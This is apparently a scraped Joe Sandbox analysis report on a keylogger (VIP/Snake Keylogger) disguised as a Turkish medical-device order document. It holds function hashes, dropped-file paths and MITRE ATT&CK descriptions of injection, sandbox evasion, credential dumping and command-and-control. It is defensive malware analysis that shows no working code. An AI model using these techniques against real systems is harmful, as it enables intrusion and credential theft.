Opcode ID: 3ff08225b369b0404a7927ab95a3f1cbaeda9687f991f3a28e91ab225e5c7250
Instruction ID: 9d3a79a688f81178a8d85264c4597fd6f85791e90fa6e6c086e952ec003a6979
Opcode Fuzzy Hash: 3ff08225b369b0404a7927ab95a3f1cbaeda9687f991f3a28e91ab225e5c7250
Instruction Fuzzy Hash: BFD04235E14209CBCB20EFA8E4954DCBBB1EB49321F10642AE925A3652DA345456CF51

Function 029A6739 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d62fbdc1a8b2e0fe4734229de2c9e0c2b537ef8a0ea255ecb6f24f6e2ee56f3
Instruction ID: df8495d7087126fd16473d7d40b757d5096c7b995366a512b52424da2abdf105
Opcode Fuzzy Hash: 3d62fbdc1a8b2e0fe4734229de2c9e0c2b537ef8a0ea255ecb6f24f6e2ee56f3
Instruction Fuzzy Hash: 54D05E355143A51BD702E375A8466AD3FAAD7C1520F449550F0850D52EEF6814038B72

Function 029AAFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e705cd296b51ced9bd5bc116a25aa711b100c05374fb4f470a59053128c40c2f
Instruction ID: 37c121f58aaa65f8847e4f1ac5d9752d135a525245b98a247ff1f869bfdfbeed
Opcode Fuzzy Hash: e705cd296b51ced9bd5bc116a25aa711b100c05374fb4f470a59053128c40c2f
Instruction Fuzzy Hash: 5BD0673AB101089FDB149F98E8419DDF776FB98221B548117F915A3260C6319926DB90

Function 029A6748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f656a56de611420e6e59f1e672d3fd02fb5c2e4f193116a0bdbcb19ca9dfcd26
Instruction ID: 96a6746a62fe4b92f5ed4d440ef6a36fa3e1b226a3378ba9f74e1ef99aeac51f
Opcode Fuzzy Hash: f656a56de611420e6e59f1e672d3fd02fb5c2e4f193116a0bdbcb19ca9dfcd26
Instruction Fuzzy Hash: FEC012385003145BD541F775EC4555A33AED6C0924B409910B0050D16D9F7419474BB2

Non-executed Functions

Function 029A29E0 Relevance: 5.5, Strings: 4, Instructions: 474COMMON

Download Yara Rule

Strings

Xq, xrefs: 029A2AD8
Xq, xrefs: 029A2BA4
Xq, xrefs: 029A2A9E
Xq, xrefs: 029A2B57

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: Xq$Xq$Xq$Xq
API String ID: 0-3965792415
Opcode ID: 6fa2ea39809ec1c6cdf4665c2cdd4c45eedbe2dbab00b28229694d709acbe286
Instruction ID: fa632fa0d493e5806f7c35333bcf220ea3a0223186f64c8913f4fcb39d029df5
Opcode Fuzzy Hash: 6fa2ea39809ec1c6cdf4665c2cdd4c45eedbe2dbab00b28229694d709acbe286
Instruction Fuzzy Hash: 49120B348052D2CFD7129BB8986779FFFB4AFCA200B0D44DAC8915B257CE29658AC7D1

Function 029A2A69 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

Xq, xrefs: 029A2AD8
Xq, xrefs: 029A2BA4
Xq, xrefs: 029A2A9E
Xq, xrefs: 029A2B57

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: Xq$Xq$Xq$Xq
API String ID: 0-3965792415
Opcode ID: f00bf70aa061c57cdfe0de9dfb4c8399b915158e21cad5b6af74cec4230e855f
Instruction ID: 642995582380d309b475019c59f9e46afaea4dd7b9459be56312dca40a3d5389
Opcode Fuzzy Hash: f00bf70aa061c57cdfe0de9dfb4c8399b915158e21cad5b6af74cec4230e855f
Instruction Fuzzy Hash: 42318671D013194BEF74DF6988A53AFB6BAAB89310F144479C80AA7381DB70C945CBD2

Function 029A6920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;q, xrefs: 029A6936
\;q, xrefs: 029A695E
\;q, xrefs: 029A692C
\;q, xrefs: 029A6952

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: \;q$\;q$\;q$\;q
API String ID: 0-2933265366
Opcode ID: dd1051429379bbeae4dc1a98b01814d00e723a0e0458b768a52b9fe43b3f205e
Instruction ID: e15ad257e2dd92de3f3153541ab26c244dd6cfbbcf9562e74b5550cefb2c33cf
Opcode Fuzzy Hash: dd1051429379bbeae4dc1a98b01814d00e723a0e0458b768a52b9fe43b3f205e
Instruction Fuzzy Hash: 110116367002158FCB288A29C564A6677EEBBC9A6472D466AE406CF374DE21EC428791

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_11mhhhjp.0vd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2uokvwa4.ssz.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tu43w3z0.nrr.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xlm5rkxv.gth.psm1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Function 07B208A4 Relevance: 6.9, Strings: 5, Instructions: 622
COMMON

Function 076D6A9D Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Function 076D6AA8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 0557B1C8 Relevance: 1.7, APIs: 1, Instructions: 195
COMMON

Function 0557590C Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Function 055744B0 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 07B22E50 Relevance: 1.6, APIs: 1, Instructions: 81
COMMON

Function 076D6819 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Function 076D6820 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 076D6248 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre